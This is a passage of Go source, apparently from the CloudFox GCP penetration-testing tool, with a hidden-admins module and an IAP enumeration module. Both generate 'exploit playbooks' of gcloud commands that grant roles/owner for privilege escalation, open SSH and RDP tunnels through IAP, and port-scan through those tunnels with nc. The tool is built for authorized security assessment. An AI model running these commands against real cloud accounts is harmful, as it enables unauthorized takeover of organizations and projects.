"iam.serviceAccounts.setIamPolicy",
|
||||
},
|
||||
"roles/iam.roleAdmin": {
|
||||
"iam.roles.create",
|
||||
"iam.roles.update",
|
||||
},
|
||||
}
|
||||
|
||||
if perms, ok := knownRoles[role]; ok {
|
||||
return perms
|
||||
}
|
||||
return []string{}
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) generateLoot() {
|
||||
// Loot is now generated per-project in writeHierarchicalOutput/writeFlatOutput
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) getHeader() []string {
|
||||
return []string{
|
||||
"Scope Type",
|
||||
"Scope ID",
|
||||
"Scope Name",
|
||||
"Principal",
|
||||
"Principal Type",
|
||||
"Permission",
|
||||
"Category",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) adminsToTableBody(admins []HiddenAdmin) [][]string {
|
||||
var body [][]string
|
||||
for _, admin := range admins {
|
||||
scopeName := admin.ScopeName
|
||||
if scopeName == "" {
|
||||
scopeName = admin.ScopeID
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
admin.ScopeType,
|
||||
admin.ScopeID,
|
||||
scopeName,
|
||||
admin.Principal,
|
||||
admin.PrincipalType,
|
||||
admin.Permission,
|
||||
admin.Category,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// adminsForProject returns hidden admins filtered for a specific project
|
||||
// Includes:
|
||||
// - Project-scoped findings where ScopeID matches this project
|
||||
// - Org-scoped findings where the org is this project's org
|
||||
// - Folder-scoped findings where the folder is in this project's ancestry path
|
||||
// For all of the above, the principal must either be from this project (SA) or be a user/group
|
||||
func (m *HiddenAdminsModule) adminsForProject(projectID string) []HiddenAdmin {
|
||||
var filtered []HiddenAdmin
|
||||
|
||||
// Get ancestry data for this project
|
||||
var ancestorFolders []string
|
||||
var projectOrgID string
|
||||
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
|
||||
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
|
||||
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
|
||||
}
|
||||
|
||||
// Build a set of ancestor folder IDs for quick lookup
|
||||
ancestorFolderSet := make(map[string]bool)
|
||||
for _, folderID := range ancestorFolders {
|
||||
ancestorFolderSet[folderID] = true
|
||||
}
|
||||
|
||||
for _, admin := range m.AllAdmins {
|
||||
// Check if principal is relevant for this project
|
||||
principalProject := extractProjectFromPrincipal(admin.Principal, m.OrgCache)
|
||||
principalRelevant := principalProject == projectID || principalProject == ""
|
||||
|
||||
if !principalRelevant {
|
||||
continue
|
||||
}
|
||||
|
||||
switch admin.ScopeType {
|
||||
case "project":
|
||||
// Project-scoped: must match this project
|
||||
if admin.ScopeID == projectID {
|
||||
filtered = append(filtered, admin)
|
||||
}
|
||||
case "organization":
|
||||
// Org-scoped: must be this project's org
|
||||
if projectOrgID != "" && admin.ScopeID == projectOrgID {
|
||||
filtered = append(filtered, admin)
|
||||
} else if projectOrgID == "" {
|
||||
// No org info, include all org findings for users/groups
|
||||
filtered = append(filtered, admin)
|
||||
}
|
||||
case "folder":
|
||||
// Folder-scoped: must be in this project's ancestry
|
||||
if len(ancestorFolderSet) > 0 {
|
||||
if ancestorFolderSet[admin.ScopeID] {
|
||||
filtered = append(filtered, admin)
|
||||
}
|
||||
} else {
|
||||
// No ancestry info, include all folder findings for users/groups
|
||||
filtered = append(filtered, admin)
|
||||
}
|
||||
default:
|
||||
// Resource-level: include if principal is relevant
|
||||
filtered = append(filtered, admin)
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
|
||||
// adminsToTableBodyForProject returns table body filtered for a specific project
|
||||
func (m *HiddenAdminsModule) adminsToTableBodyForProject(projectID string) [][]string {
|
||||
admins := m.adminsForProject(projectID)
|
||||
return m.adminsToTableBody(admins)
|
||||
}
|
||||
|
||||
// wrongAdminsForProject returns wrong admins filtered for a specific project
|
||||
// Includes:
|
||||
// - Project-level wrong admins where ProjectID matches this project
|
||||
// - Org-level wrong admins where OrgID matches this project's org
|
||||
// - Folder-level wrong admins where FolderID is in this project's ancestry
|
||||
// For all of the above, the principal must either be from this project (SA) or be a user/group
|
||||
func (m *HiddenAdminsModule) wrongAdminsForProject(projectID string) []foxmapperservice.WrongAdminFinding {
|
||||
var filtered []foxmapperservice.WrongAdminFinding
|
||||
|
||||
// Get ancestry data for this project
|
||||
var ancestorFolders []string
|
||||
var projectOrgID string
|
||||
if m.OrgCache != nil && m.OrgCache.IsPopulated() {
|
||||
ancestorFolders = m.OrgCache.GetProjectAncestorFolders(projectID)
|
||||
projectOrgID = m.OrgCache.GetProjectOrgID(projectID)
|
||||
}
|
||||
|
||||
// Build a set of ancestor folder IDs for quick lookup
|
||||
ancestorFolderSet := make(map[string]bool)
|
||||
for _, folderID := range ancestorFolders {
|
||||
ancestorFolderSet[folderID] = true
|
||||
}
|
||||
|
||||
for _, wa := range m.WrongAdmins {
|
||||
principalProject := extractProjectFromPrincipal(wa.Principal, m.OrgCache)
|
||||
principalRelevant := principalProject == projectID || principalProject == ""
|
||||
|
||||
if !principalRelevant {
|
||||
continue
|
||||
}
|
||||
|
||||
switch wa.AdminLevel {
|
||||
case "project":
|
||||
// Project-level: include if ProjectID matches this project
|
||||
if wa.ProjectID == projectID {
|
||||
filtered = append(filtered, wa)
|
||||
}
|
||||
case "org":
|
||||
// Org-level: must be this project's org
|
||||
if projectOrgID != "" && wa.OrgID == projectOrgID {
|
||||
filtered = append(filtered, wa)
|
||||
} else if projectOrgID == "" {
|
||||
// No org info available, include all org findings for relevant principals
|
||||
filtered = append(filtered, wa)
|
||||
}
|
||||
case "folder":
|
||||
// Folder-level: must be in this project's ancestry
|
||||
if len(ancestorFolderSet) > 0 && wa.FolderID != "" {
|
||||
if ancestorFolderSet[wa.FolderID] {
|
||||
filtered = append(filtered, wa)
|
||||
}
|
||||
} else if len(ancestorFolderSet) == 0 {
|
||||
// No ancestry info available, include all folder findings for relevant principals
|
||||
filtered = append(filtered, wa)
|
||||
}
|
||||
default:
|
||||
// Unknown level, include for relevant principals if ProjectID matches
|
||||
if wa.ProjectID == projectID || wa.ProjectID == "" {
|
||||
filtered = append(filtered, wa)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return filtered
|
||||
}
|
||||
|
||||
// wrongAdminsToTableBodyForProject returns wrong admins table body for a project
|
||||
func (m *HiddenAdminsModule) wrongAdminsToTableBodyForProject(projectID string) [][]string {
|
||||
var body [][]string
|
||||
for _, wa := range m.wrongAdminsForProject(projectID) {
|
||||
reasonsStr := strings.Join(wa.Reasons, "; ")
|
||||
|
||||
displayProject := wa.ProjectID
|
||||
if displayProject == "" {
|
||||
displayProject = "-"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
wa.Principal,
|
||||
wa.MemberType,
|
||||
wa.AdminLevel,
|
||||
displayProject,
|
||||
reasonsStr,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
// generatePlaybookForProject generates a loot file specific to a project
|
||||
func (m *HiddenAdminsModule) generatePlaybookForProject(projectID string) *internal.LootFile {
|
||||
admins := m.adminsForProject(projectID)
|
||||
wrongAdmins := m.wrongAdminsForProject(projectID)
|
||||
|
||||
if len(admins) == 0 && len(wrongAdmins) == 0 {
|
||||
return nil
|
||||
}
|
||||
|
||||
var sb strings.Builder
|
||||
sb.WriteString("# GCP Hidden Admins Exploitation Playbook\n")
|
||||
sb.WriteString(fmt.Sprintf("# Project: %s\n", projectID))
|
||||
sb.WriteString("# Generated by CloudFox\n")
|
||||
sb.WriteString("# WARNING: Only use with proper authorization\n\n")
|
||||
|
||||
// Add wrong admins section if available
|
||||
if len(wrongAdmins) > 0 {
|
||||
sb.WriteString("# === WRONG ADMINS (FOXMAPPER ANALYSIS) ===\n\n")
|
||||
sb.WriteString("# These principals are marked as admin but don't have explicit admin roles.\n\n")
|
||||
|
||||
for _, wa := range wrongAdmins {
|
||||
sb.WriteString(fmt.Sprintf("# =============================================================================\n"+
|
||||
"# %s [%s]\n"+
|
||||
"# =============================================================================\n", wa.Principal, wa.MemberType))
|
||||
sb.WriteString(fmt.Sprintf("Admin Level: %s\n", wa.AdminLevel))
|
||||
for _, reason := range wa.Reasons {
|
||||
sb.WriteString(fmt.Sprintf(" - %s\n", reason))
|
||||
}
|
||||
|
||||
// Add exploit command based on admin level
|
||||
switch wa.AdminLevel {
|
||||
case "org":
|
||||
sb.WriteString("\n# Grant yourself org-level owner:\n")
|
||||
orgID := wa.OrgID
|
||||
if orgID == "" {
|
||||
orgID = "ORG_ID"
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("gcloud organizations add-iam-policy-binding %s --member='%s:%s' --role='roles/owner'\n\n", orgID, wa.MemberType, wa.Principal))
|
||||
case "folder":
|
||||
sb.WriteString("\n# Grant yourself folder-level owner:\n")
|
||||
folderID := wa.FolderID
|
||||
if folderID == "" {
|
||||
folderID = "FOLDER_ID"
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("gcloud resource-manager folders add-iam-policy-binding %s --member='%s:%s' --role='roles/owner'\n\n", folderID, wa.MemberType, wa.Principal))
|
||||
default:
|
||||
sb.WriteString("\n# Grant yourself project-level owner:\n")
|
||||
targetProject := wa.ProjectID
|
||||
if targetProject == "" {
|
||||
targetProject = projectID
|
||||
}
|
||||
sb.WriteString(fmt.Sprintf("gcloud projects add-iam-policy-binding %s --member='%s:%s' --role='roles/owner'\n\n", targetProject, wa.MemberType, wa.Principal))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Add hidden admins section
|
||||
if len(admins) > 0 {
|
||||
sb.WriteString("# === HIDDEN ADMINS (IAM MODIFICATION CAPABILITIES) ===\n\n")
|
||||
|
||||
for _, admin := range admins {
|
||||
scopeInfo := fmt.Sprintf("%s: %s", admin.ScopeType, admin.ScopeName)
|
||||
if admin.ScopeName == "" {
|
||||
scopeInfo = fmt.Sprintf("%s: %s", admin.ScopeType, admin.ScopeID)
|
||||
}
|
||||
|
||||
sb.WriteString(fmt.Sprintf("# =============================================================================\n"+
|
||||
"# %s [%s]\n"+
|
||||
"# =============================================================================\n", admin.Principal, admin.PrincipalType))
|
||||
sb.WriteString(fmt.Sprintf("Permission: %s\n", admin.Permission))
|
||||
sb.WriteString(fmt.Sprintf("Category: %s\n", admin.Category))
|
||||
sb.WriteString(fmt.Sprintf("Scope: %s\n", scopeInfo))
|
||||
sb.WriteString("\n")
|
||||
sb.WriteString(admin.ExploitCommand)
|
||||
sb.WriteString("\n\n")
|
||||
}
|
||||
}
|
||||
|
||||
return &internal.LootFile{
|
||||
Name: "hidden-admins-commands",
|
||||
Contents: sb.String(),
|
||||
}
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
// Hidden admins table
|
||||
body := m.adminsToTableBodyForProject(projectID)
|
||||
if len(body) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "hidden-admins",
|
||||
Header: m.getHeader(),
|
||||
Body: body,
|
||||
})
|
||||
}
|
||||
|
||||
// Wrong admins table
|
||||
wrongBody := m.wrongAdminsToTableBodyForProject(projectID)
|
||||
if len(wrongBody) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "wrong-admins",
|
||||
Header: m.getWrongAdminsHeader(),
|
||||
Body: wrongBody,
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) buildAllTables() []internal.TableFile {
|
||||
var tables []internal.TableFile
|
||||
|
||||
if len(m.AllAdmins) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "hidden-admins",
|
||||
Header: m.getHeader(),
|
||||
Body: m.adminsToTableBody(m.AllAdmins),
|
||||
})
|
||||
}
|
||||
|
||||
// Add wrong admins table if FoxMapper data is available
|
||||
if len(m.WrongAdmins) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "wrong-admins",
|
||||
Header: m.getWrongAdminsHeader(),
|
||||
Body: m.wrongAdminsToTableBody(),
|
||||
})
|
||||
}
|
||||
|
||||
return tables
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) getWrongAdminsHeader() []string {
|
||||
return []string{
|
||||
"Principal",
|
||||
"Type",
|
||||
"Admin Level",
|
||||
"Project",
|
||||
"Reasons",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) wrongAdminsToTableBody() [][]string {
|
||||
var body [][]string
|
||||
for _, wa := range m.WrongAdmins {
|
||||
// Combine reasons into a single string
|
||||
reasonsStr := strings.Join(wa.Reasons, "; ")
|
||||
|
||||
projectID := wa.ProjectID
|
||||
if projectID == "" {
|
||||
projectID = "-"
|
||||
}
|
||||
|
||||
body = append(body, []string{
|
||||
wa.Principal,
|
||||
wa.MemberType,
|
||||
wa.AdminLevel,
|
||||
projectID,
|
||||
reasonsStr,
|
||||
})
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
|
||||
func (m *HiddenAdminsModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
FolderLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
// Process each specified project
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
// Build tables for this project
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
// Generate loot file for this project
|
||||
var lootFiles []internal.LootFile
|
||||
playbook := m.generatePlaybookForProject(projectID)
|
||||
if playbook != nil {
|
||||
lootFiles = append(lootFiles, *playbook)
|
||||
}
|
||||
|
||||
// Add project to output if there's any data
|
||||
if len(tableFiles) > 0 || len(lootFiles) > 0 {
|
||||
outputData.ProjectLevelData[projectID] = HiddenAdminsOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *HiddenAdminsModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
tables := m.buildAllTables()
|
||||
|
||||
// Generate per-project playbooks
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectID := range m.ProjectIDs {
|
||||
playbook := m.generatePlaybookForProject(projectID)
|
||||
if playbook != nil {
|
||||
// Rename to include project for flat output
|
||||
playbook.Name = fmt.Sprintf("hidden-admins-commands-%s", projectID)
|
||||
lootFiles = append(lootFiles, *playbook)
|
||||
}
|
||||
}
|
||||
|
||||
output := HiddenAdminsOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart(
|
||||
"gcp",
|
||||
m.Format,
|
||||
m.OutputDirectory,
|
||||
m.Verbosity,
|
||||
m.WrapTable,
|
||||
"project",
|
||||
m.ProjectIDs,
|
||||
scopeNames,
|
||||
m.Account,
|
||||
output,
|
||||
)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing output: %v", err), globals.GCP_HIDDEN_ADMINS_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
// Helper functions (shared with attackpathService)
|
||||
func extractPrincipalType(member string) string {
|
||||
if strings.HasPrefix(member, "user:") {
|
||||
return "user"
|
||||
} else if strings.HasPrefix(member, "serviceAccount:") {
|
||||
return "serviceAccount"
|
||||
} else if strings.HasPrefix(member, "group:") {
|
||||
return "group"
|
||||
} else if strings.HasPrefix(member, "domain:") {
|
||||
return "domain"
|
||||
}
|
||||
return "unknown"
|
||||
}
|
||||
|
||||
func extractPrincipalEmail(member string) string {
|
||||
parts := strings.SplitN(member, ":", 2)
|
||||
if len(parts) == 2 {
|
||||
return parts[1]
|
||||
}
|
||||
return member
|
||||
}
|
||||
Regular → Executable
+1291
-78
File diff suppressed because it is too large.
Load diff
@@ -0,0 +1,332 @@
|
||||
package commands
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"sync"
|
||||
|
||||
iapservice "github.com/BishopFox/cloudfox/gcp/services/iapService"
|
||||
"github.com/BishopFox/cloudfox/globals"
|
||||
"github.com/BishopFox/cloudfox/internal"
|
||||
gcpinternal "github.com/BishopFox/cloudfox/internal/gcp"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var GCPIAPCommand = &cobra.Command{
|
||||
Use: globals.GCP_IAP_MODULE_NAME,
|
||||
Aliases: []string{"identity-aware-proxy"},
|
||||
Short: "Enumerate Identity-Aware Proxy configurations",
|
||||
Long: `Enumerate Identity-Aware Proxy (IAP) configurations.
|
||||
|
||||
Features:
|
||||
- Lists IAP tunnel destination groups
|
||||
- Analyzes IAP settings and bindings
|
||||
- Identifies overly permissive tunnel configurations
|
||||
- Checks for public access to IAP resources`,
|
||||
Run: runGCPIAPCommand,
|
||||
}
|
||||
|
||||
type IAPModule struct {
|
||||
gcpinternal.BaseGCPModule
|
||||
ProjectTunnelDestGroups map[string][]iapservice.TunnelDestGroup // projectID -> groups
|
||||
LootMap map[string]map[string]*internal.LootFile // projectID -> loot files
|
||||
mu sync.Mutex
|
||||
}
|
||||
|
||||
type IAPOutput struct {
|
||||
Table []internal.TableFile
|
||||
Loot []internal.LootFile
|
||||
}
|
||||
|
||||
func (o IAPOutput) TableFiles() []internal.TableFile { return o.Table }
|
||||
func (o IAPOutput) LootFiles() []internal.LootFile { return o.Loot }
|
||||
|
||||
func runGCPIAPCommand(cmd *cobra.Command, args []string) {
|
||||
cmdCtx, err := gcpinternal.InitializeCommandContext(cmd, globals.GCP_IAP_MODULE_NAME)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
|
||||
module := &IAPModule{
|
||||
BaseGCPModule: gcpinternal.NewBaseGCPModule(cmdCtx),
|
||||
ProjectTunnelDestGroups: make(map[string][]iapservice.TunnelDestGroup),
|
||||
LootMap: make(map[string]map[string]*internal.LootFile),
|
||||
}
|
||||
module.Execute(cmdCtx.Ctx, cmdCtx.Logger)
|
||||
}
|
||||
|
||||
func (m *IAPModule) getAllTunnelDestGroups() []iapservice.TunnelDestGroup {
|
||||
var all []iapservice.TunnelDestGroup
|
||||
for _, groups := range m.ProjectTunnelDestGroups {
|
||||
all = append(all, groups...)
|
||||
}
|
||||
return all
|
||||
}
|
||||
|
||||
func (m *IAPModule) Execute(ctx context.Context, logger internal.Logger) {
|
||||
m.RunProjectEnumeration(ctx, logger, m.ProjectIDs, globals.GCP_IAP_MODULE_NAME, m.processProject)
|
||||
|
||||
allGroups := m.getAllTunnelDestGroups()
|
||||
if len(allGroups) == 0 {
|
||||
logger.InfoM("No IAP tunnel destination groups found", globals.GCP_IAP_MODULE_NAME)
|
||||
return
|
||||
}
|
||||
|
||||
logger.SuccessM(fmt.Sprintf("Found %d IAP tunnel destination group(s)",
|
||||
len(allGroups)), globals.GCP_IAP_MODULE_NAME)
|
||||
m.writeOutput(ctx, logger)
|
||||
}
|
||||
|
||||
func (m *IAPModule) processProject(ctx context.Context, projectID string, logger internal.Logger) {
|
||||
if globals.GCP_VERBOSITY >= globals.GCP_VERBOSE_ERRORS {
|
||||
logger.InfoM(fmt.Sprintf("Enumerating IAP in project: %s", projectID), globals.GCP_IAP_MODULE_NAME)
|
||||
}
|
||||
|
||||
m.mu.Lock()
|
||||
// Initialize loot for this project
|
||||
if m.LootMap[projectID] == nil {
|
||||
m.LootMap[projectID] = make(map[string]*internal.LootFile)
|
||||
m.LootMap[projectID]["iap-commands"] = &internal.LootFile{
|
||||
Name: "iap-commands",
|
||||
Contents: "# IAP Commands\n# Generated by CloudFox\n# WARNING: Only use with proper authorization\n\n",
|
||||
}
|
||||
}
|
||||
m.mu.Unlock()
|
||||
|
||||
svc := iapservice.New()
|
||||
|
||||
// Get tunnel destination groups
|
||||
groups, err := svc.ListTunnelDestGroups(projectID)
|
||||
if err != nil {
|
||||
m.CommandCounter.IncrError()
|
||||
gcpinternal.HandleGCPError(err, logger, globals.GCP_IAP_MODULE_NAME,
|
||||
fmt.Sprintf("Could not enumerate IAP tunnel groups in project %s", projectID))
|
||||
} else {
|
||||
m.mu.Lock()
|
||||
m.ProjectTunnelDestGroups[projectID] = groups
|
||||
for _, group := range groups {
|
||||
m.addToLoot(projectID, group)
|
||||
}
|
||||
m.mu.Unlock()
|
||||
}
|
||||
}
|
||||
|
||||
func (m *IAPModule) addToLoot(projectID string, group iapservice.TunnelDestGroup) {
|
||||
lootFile := m.LootMap[projectID]["iap-commands"]
|
||||
if lootFile == nil {
|
||||
return
|
||||
}
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# =============================================================================\n"+
|
||||
"# TUNNEL DESTINATION GROUP: %s\n"+
|
||||
"# =============================================================================\n"+
|
||||
"# Project: %s\n"+
|
||||
"# Region: %s\n"+
|
||||
"# CIDRs: %s\n"+
|
||||
"# FQDNs: %s\n",
|
||||
group.Name, group.ProjectID, group.Region,
|
||||
strings.Join(group.CIDRs, ", "),
|
||||
strings.Join(group.FQDNs, ", "),
|
||||
)
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(`
|
||||
# === ENUMERATION COMMANDS ===
|
||||
|
||||
# Describe tunnel destination group:
|
||||
gcloud iap tcp dest-groups describe %s --region=%s --project=%s
|
||||
|
||||
# List IAM policy for tunnel destination group:
|
||||
gcloud iap tcp dest-groups get-iam-policy %s --region=%s --project=%s
|
||||
|
||||
# List all IAP tunnel resources in project:
|
||||
gcloud iap tcp dest-groups list --region=%s --project=%s
|
||||
|
||||
# Check who can use IAP tunnels in this project:
|
||||
gcloud projects get-iam-policy %s --format=json | jq '.bindings[] | select(.role | contains("iap.tunnelResourceAccessor"))'
|
||||
|
||||
`, group.Name, group.Region, group.ProjectID,
|
||||
group.Name, group.Region, group.ProjectID,
|
||||
group.Region, group.ProjectID,
|
||||
group.ProjectID,
|
||||
)
|
||||
|
||||
// === EXPLOIT COMMANDS - IAP Tunnel ===
|
||||
lootFile.Contents += "# === EXPLOIT COMMANDS ===\n\n"
|
||||
|
||||
// SSH through IAP tunnel
|
||||
for _, cidr := range group.CIDRs {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Start IAP TCP tunnel to hosts in CIDR %s:\n"+
|
||||
"gcloud compute start-iap-tunnel INSTANCE_NAME 22 --local-host-port=localhost:2222 --zone=ZONE --project=%s\n"+
|
||||
"ssh -p 2222 localhost\n\n",
|
||||
cidr, group.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
for _, fqdn := range group.FQDNs {
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# Start IAP TCP tunnel to %s:\n"+
|
||||
"gcloud compute start-iap-tunnel INSTANCE_NAME 22 --local-host-port=localhost:2222 --zone=ZONE --project=%s\n"+
|
||||
"ssh -p 2222 localhost\n\n",
|
||||
fqdn, group.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
lootFile.Contents += fmt.Sprintf(
|
||||
"# SSH to a compute instance through IAP (direct):\n"+
|
||||
"gcloud compute ssh INSTANCE_NAME --tunnel-through-iap --zone=ZONE --project=%s\n\n"+
|
||||
"# Forward RDP through IAP (Windows instances):\n"+
|
||||
"gcloud compute start-iap-tunnel INSTANCE_NAME 3389 --local-host-port=localhost:3389 --zone=ZONE --project=%s\n\n"+
|
||||
"# Forward arbitrary port through IAP:\n"+
|
||||
"gcloud compute start-iap-tunnel INSTANCE_NAME 8080 --local-host-port=localhost:8080 --zone=ZONE --project=%s\n\n"+
|
||||
"# Port scan through IAP tunnel (test internal connectivity):\n"+
|
||||
"for PORT in 22 80 443 3306 5432 8080 8443; do\n"+
|
||||
" gcloud compute start-iap-tunnel INSTANCE_NAME $PORT --local-host-port=localhost:$PORT --zone=ZONE --project=%s &\n"+
|
||||
" sleep 1 && nc -z localhost $PORT 2>/dev/null && echo \"Port $PORT is open\" || echo \"Port $PORT is closed\"\n"+
|
||||
" kill %%1 2>/dev/null\n"+
|
||||
"done\n\n",
|
||||
group.ProjectID,
|
||||
group.ProjectID,
|
||||
group.ProjectID,
|
||||
group.ProjectID,
|
||||
)
|
||||
}
|
||||
|
||||
func (m *IAPModule) writeOutput(ctx context.Context, logger internal.Logger) {
|
||||
if m.Hierarchy != nil && !m.FlatOutput {
|
||||
m.writeHierarchicalOutput(ctx, logger)
|
||||
} else {
|
||||
m.writeFlatOutput(ctx, logger)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *IAPModule) getHeader() []string {
|
||||
return []string{
|
||||
"Project",
|
||||
"Name",
|
||||
"Region",
|
||||
"CIDRs",
|
||||
"FQDNs",
|
||||
"IAM Binding Role",
|
||||
"IAM Binding Principal",
|
||||
}
|
||||
}
|
||||
|
||||
func (m *IAPModule) groupsToTableBody(groups []iapservice.TunnelDestGroup) [][]string {
|
||||
var body [][]string
|
||||
for _, group := range groups {
|
||||
cidrs := strings.Join(group.CIDRs, ", ")
|
||||
if cidrs == "" {
|
||||
cidrs = "-"
|
||||
}
|
||||
fqdns := strings.Join(group.FQDNs, ", ")
|
||||
if fqdns == "" {
|
||||
fqdns = "-"
|
||||
}
|
||||
|
||||
if len(group.IAMBindings) > 0 {
|
||||
for _, binding := range group.IAMBindings {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(group.ProjectID),
|
||||
group.Name,
|
||||
group.Region,
|
||||
cidrs,
|
||||
fqdns,
|
||||
binding.Role,
|
||||
binding.Member,
|
||||
})
|
||||
}
|
||||
} else {
|
||||
body = append(body, []string{
|
||||
m.GetProjectName(group.ProjectID),
|
||||
group.Name,
|
||||
group.Region,
|
||||
cidrs,
|
||||
fqdns,
|
||||
"-",
|
||||
"-",
|
||||
})
|
||||
}
|
||||
}
|
||||
return body
|
||||
}
|
||||
|
||||
func (m *IAPModule) buildTablesForProject(projectID string) []internal.TableFile {
|
||||
var tableFiles []internal.TableFile
|
||||
|
||||
if groups, ok := m.ProjectTunnelDestGroups[projectID]; ok && len(groups) > 0 {
|
||||
tableFiles = append(tableFiles, internal.TableFile{
|
||||
Name: "iap-tunnel-groups",
|
||||
Header: m.getHeader(),
|
||||
Body: m.groupsToTableBody(groups),
|
||||
})
|
||||
}
|
||||
|
||||
return tableFiles
|
||||
}
|
||||
|
||||
func (m *IAPModule) writeHierarchicalOutput(ctx context.Context, logger internal.Logger) {
|
||||
outputData := internal.HierarchicalOutputData{
|
||||
OrgLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
ProjectLevelData: make(map[string]internal.CloudfoxOutput),
|
||||
}
|
||||
|
||||
for projectID := range m.ProjectTunnelDestGroups {
|
||||
tableFiles := m.buildTablesForProject(projectID)
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
if projectLoot, ok := m.LootMap[projectID]; ok {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
outputData.ProjectLevelData[projectID] = IAPOutput{Table: tableFiles, Loot: lootFiles}
|
||||
}
|
||||
|
||||
pathBuilder := m.BuildPathBuilder()
|
||||
|
||||
err := internal.HandleHierarchicalOutputSmart("gcp", m.Format, m.Verbosity, m.WrapTable, pathBuilder, outputData)
|
||||
if err != nil {
|
||||
logger.ErrorM(fmt.Sprintf("Error writing hierarchical output: %v", err), globals.GCP_IAP_MODULE_NAME)
|
||||
}
|
||||
}
|
||||
|
||||
func (m *IAPModule) writeFlatOutput(ctx context.Context, logger internal.Logger) {
|
||||
allGroups := m.getAllTunnelDestGroups()
|
||||
|
||||
var tables []internal.TableFile
|
||||
|
||||
if len(allGroups) > 0 {
|
||||
tables = append(tables, internal.TableFile{
|
||||
Name: "iap-tunnel-groups",
|
||||
Header: m.getHeader(),
|
||||
Body: m.groupsToTableBody(allGroups),
|
||||
})
|
||||
}
|
||||
|
||||
var lootFiles []internal.LootFile
|
||||
for _, projectLoot := range m.LootMap {
|
||||
for _, loot := range projectLoot {
|
||||
if loot != nil && loot.Contents != "" && !strings.HasSuffix(loot.Contents, "# WARNING: Only use with proper authorization\n\n") {
|
||||
lootFiles = append(lootFiles, *loot)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
output := IAPOutput{Table: tables, Loot: lootFiles}
|
||||
|
||||
scopeNames := make([]string, len(m.ProjectIDs))
|
||||
for i, id := range m.ProjectIDs {
|
||||
scopeNames[i] = m.GetProjectName(id)
|
||||
}
|
||||
|
||||
err := internal.HandleOutputSmart("gcp", m.Format, m.OutputDirectory, m.Verbosity, m.WrapTable,
|
||||
"project", m.ProjectIDs, scopeNames, m.Account, output)
|
||||
if err != nil {
|
||||
